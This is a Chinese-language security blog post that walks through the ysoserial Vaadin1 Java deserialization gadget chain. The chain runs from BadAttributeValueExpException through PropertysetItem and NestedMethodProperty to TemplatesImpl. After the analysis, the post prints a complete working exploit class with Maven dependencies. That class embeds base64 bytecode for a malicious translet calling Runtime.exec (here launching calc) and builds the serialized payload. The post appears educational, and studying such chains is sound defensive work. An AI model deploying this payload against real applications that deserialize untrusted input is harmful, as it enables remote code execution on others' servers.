JAVA反序列化之Vaadin1

Vaadin简介

Vaadin 是一个在Java后端快速开发web应用程序的平台。用 Java 或 TypeScript 构建可伸缩的 UI,并使用集成的工具、组件和设计系统来更快地迭代、更好地设计和简化开发过程。

分析

先看ysoserial给出的调用链

javax.management.BadAttributeValueExpException#readObject
    com.vaadin.data.util.PropertysetItem#toString
        com.vaadin.data.util.NestedMethodProperty#getValue
            java.lang.reflect.Method#invoke
                com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties
                    .....

可以看到链子的开始就是使用BadAttributeValueExpExceptionreadObject去调用其他类toString方法,这部分跟cc5一样,所以这条链子也是需要在java安全管理器关闭的情况下使用。继续看到PropertysetItem#toString

image-20220406205317093

根据后续调用方法可知这里的this.getItemProperty(propertyId)要返回一个NestedMethodProperty对象

image-20220406205430780

getItemProperty方法是从this.map中取出propertyId对应的值,继续追踪propertyId的来源。

image-20220406210015754

可以看到键值是通过getItemPropertyIds获取了一个迭代器,然后遍历这个迭代器。所以现在想办法添加键值进ItemProperty,仔细看一下代码发现有一个addItemProperty方法

image-20220406210213653

正好就是用于添加ItemProperty的,然后继续跟进getValue方法

image-20220406210333171

先了解一下NestedMethodProperty这个类,该类的构造方法由两个参数,一个是要封装的对象,另一个是属性名,而getValue就是调用属性名对应的getter,那么思路就很清晰了。

EXP构造

导入依赖

<dependencies>
        <dependency>
            <groupId>com.vaadin</groupId>
            <artifactId>vaadin-server</artifactId>
            <version>7.7.14</version>
        </dependency>

        <dependency>
            <groupId>com.vaadin</groupId>
            <artifactId>vaadin-shared</artifactId>
            <version>7.7.14</version>
        </dependency>
    </dependencies>

构造一下EXP

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.vaadin.data.util.NestedMethodProperty;
import com.vaadin.data.util.PropertysetItem;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;

public class exp {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        //构造TemplatesImpl对象
        byte[] bytecode= Base64.getDecoder().decode("yv66vgAAADQAIAoABgATCgAUABUIABYKABQAFwcACQcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAZAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAAlDb2RlLmphdmEMAAcACAcAGwwAHAAdAQAEY2FsYwwAHgAfAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAADAAEAA0ADQAOAAsAAAAEAAEADAABAA0ADgACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAAEgALAAAABAABAA8AAQANABAAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABYACwAAAAQAAQAPAAEAEQAAAAIAEg==");
        byte[][] bytee= new byte[][]{bytecode};
        TemplatesImpl templates=new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",bytee);
        setFieldValue(templates,"_name","Code");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

        //构造NestedMethodProperty对象
        NestedMethodProperty nestedMethodProperty=new NestedMethodProperty(templates,"outputProperties");

        //构造PropertysetItem对象
        PropertysetItem propertysetItem=new PropertysetItem();
        propertysetItem.addItemProperty("novic4",nestedMethodProperty);

        //构造BadAttributeValueExpException对象
        BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException("x");
        Field val=badAttributeValueExpException.getClass().getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException,propertysetItem);

        ByteArrayOutputStream ser = new ByteArrayOutputStream();
        ObjectOutputStream oser = new ObjectOutputStream(ser);
        oser.writeObject(badAttributeValueExpException);
        oser.close();


        System.out.println(ser);
        ObjectInputStream unser=new ObjectInputStream(new ByteArrayInputStream(ser.toByteArray()));
        Object newobj=unser.readObject();

    }

    public static void setFieldValue(Object obj,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field=obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

很简单的一条链

参考文章

https://su18.org/post/ysoserial-su18-5/#vaadin1

本文链接:

http://novic4.cn/index.php/archives/22.html
1 + 8 =
快来做第一个评论的人吧~